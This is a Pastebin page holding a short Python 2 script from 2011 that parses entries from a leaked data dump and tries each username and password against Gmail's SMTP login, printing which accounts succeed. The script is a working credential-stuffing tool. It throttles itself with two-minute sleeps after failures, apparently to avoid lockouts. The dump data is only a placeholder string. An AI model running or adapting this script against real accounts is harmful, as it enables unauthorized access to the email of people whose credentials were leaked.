Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!usr/bin/python
- """ Released into the public domain, by Legoktm, 2011"""
- import smtplib, time
- masterdict=[]
- input = """data from the dump"""
- list=input.split('\n')
- for set in list:
- b=set.split(', ')
- masterdict.append({'last':b[0].split('[*] ')[1],'first':b[1],'msg':b[2], 'username':b[4], 'pass':b[3]})
- def test(dict):
- username = dict['username']
- password = dict['pass']
- server = smtplib.SMTP('smtp.gmail.com:587')
- server.starttls()
- try:
- server.login(username,password)
- server.quit()
- print 'Success on %s!' %username
- except smtplib.SMTPAuthenticationError, e:
- print 'Failed on %s.' %username
- print e
- print 'Sleeping for 2 minutes'
- time.sleep(120)
- for user in masterdict:
- test(user)
Add Comment
Please, Sign In to add comment